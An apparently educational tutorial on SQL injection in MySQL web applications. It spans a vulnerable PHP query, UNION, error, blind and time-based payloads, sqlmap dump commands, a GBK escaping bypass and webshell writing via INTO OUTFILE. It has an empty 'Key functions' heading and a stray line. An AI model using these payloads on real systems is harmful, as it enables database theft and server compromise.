SQL injection represents the most critical risk in web application security, often resulting in full compromise of backend data stores. Modern web applications rely on databases to store user accounts, preferences, content, and nearly all persistant information. Instead of generating static pages for each user, server-side scripts construct dynamic content by querying databases with user-supplied parameters. When these parameter are handled unsafely, attackers can manipulate the database queries to access or destroy unauthorized data.

Root Cause and Common Entry Points

The vulnerability arises when developers build SQL statements through string concatenation without adequately sanitizing user-controllible inputs. Any point where an application accepts data and issues a database query can become an injection vector:

• URL query strings (GET parameters)
• POST body data
• HTTP headers (User-Agent, Referer, etc.)
• Cookie values
• Form fields, search boxes, and comment sections

Consider a PHP function that constructs a deletion query:

public function removeCategories($ids) {
    $idList = implode(',', $ids);
    $query = "DELETE FROM categories WHERE cat_id IN($idList)";
    return $this->db->execute($query);
}

If $ids originates from an untrusted source, an attacker can alter the intended SQL statement by injecting malicious syntax.

Potential Damage

Successful SQL injection can lead to:

• Exposure of sensitive information including user credentials and internal data
• Modification or deletion of database records
• File system access, remote code execution, or full server takeover when database privileges or configurations are weak

Injection Categories

SQL injection vulnerabilities are classified by data type (numeric, string, date/time) and by exploitation technique:

• Union-based injection: Appends a second query result via the UNION operator
• Error-based injection: Extracts data through deliberately triggered database errors
• Boolean-based blind injection: Infers data by observing application responses to true/false conditions
• Time-based blind injection: Derives information by measuring response delays
• Stacked query injection: Executes multiple independent statements in one request

Useful MySQL Functions and Information

MySQL is a widely deployed open-source relational database management system. The information_schema meta-database holds details about all tables and columns:

• information_schema.tables stores table names and metadata
• information_schema.columns holds column definitions

Key functions:

Enumeration Techniques

Determining column count: The ORDER BY clause can reveal how many columns a query returns. Increment the number until an error occurs:

SELECT * FROM articles ORDER BY 5;  -- succeeds
SELECT * FROM articles ORDER BY 6;  -- fails, meaning 5 columns exist

Appending data via UNION: With the column count known, a UNION SELECT can attach extra data. The first query must return zero rows so the injected result appears alone:

https://example.com/article.php?item=-1 UNION SELECT 1,2,3,4,VERSION()

Aggregating results: The GROUP_CONCAT() function condenses multiple rows into a comma-separated single cell, while CONCAT() merges multiple strings:

SELECT GROUP_CONCAT(username) FROM accounts;  -- alice,bob,charlie
SELECT CONCAT(username, ':', password) FROM accounts WHERE id=1;

Injection Workflow Example

A typical union-based attack progresses through these stages:

1. Fetch table names:

https://example.com/page.php?code=-1 UNION SELECT 1,2,3,HEX(GROUP_CONCAT(table_name)) FROM information_schema.tables WHERE table_schema=DATABASE()

Encoding table names as hex avoids character set conflicts.

2. Retrieve column names for a target table:

https://example.com/page.php?code=-1 UNION SELECT 1,2,3,HEX(GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_name=0x6163636F756E7473

3. Extract data using identified columns:

https://example.com/page.php?code=-1 UNION SELECT 1,2,3,CONCAT(username,0x3a,pass_hash) FROM accounts

The result appears embedded in the page: admin:5f4dcc3b5aa765d61d8327deb882cf99

CRACKED for test.

Alternate Injection Strategies

When union-based injection is blocked, other approaches may succeed:

• Error-based extraction: Functions like extractvalue() or updatexml() force database errors that leak data
• Boolean blind: Craft queries that return different content based on true/false evaluations, eg:

https://example.com/item.php?id=8 AND SUBSTRING((SELECT password FROM accounts LIMIT 1),1,1)='a'

• Time-based blind: Use SLEEP() to introduce measurable delays:

https://example.com/item.php?id=8 AND IF(SUBSTRING(version(),1,1)='5', SLEEP(3), 0)

• Cookie-based injection: When applications read parameters from cookies, modify them via browser console:

document.cookie="token="+"42 UNION SELECT 1,2,3,4 FROM users";

Automating Detection and Exploitation with Sqlmap

Sqlmap is a powerful tool for identifying and exploiting SQL injection flaws:

sqlmap -u "https://example.com/page.php?category=3"
sqlmap -u "https://example.com/page.php?category=3" --dbs
sqlmap -u "https://example.com/page.php?category=3" --current-db
sqlmap -u "https://example.com/page.php?category=3" -D "app_db" --tables
sqlmap -u "https://example.com/page.php?category=3" -D "app_db" -T "auth_accounts" --columns
sqlmap -u "https://example.com/page.php?category=3" -D "app_db" -T "auth_accounts" -C "login,secret" --dump

For cookie-based vectors, include the cookie value and increase the testing level:

sqlmap -u "https://example.com/dashboard.asp" --cookie "sess=1" --level 2 -D "app_db" -T "auth_accounts" -C "login,secret" --dump

Advanced Concepts and Mitigation Bypasses

• Encoding tricks: In GBK character sets, the byte %df followed by \ (0x5c) forms a valid multi-byte character, consuming the escape backslash added by addslashes() and leaving a quote unescaped
• File operations: Misconfigured secure-file-priv settings may allow attackers to write webshells using INTO OUTFILE
• Non-standard encodings: Applications accepting base64-encoded parameters may be vulnerable if decoding occurs before query construction

The infamous SQLI-labs-master project offers a playground of 72 progressively challenging stages to practice these techniques.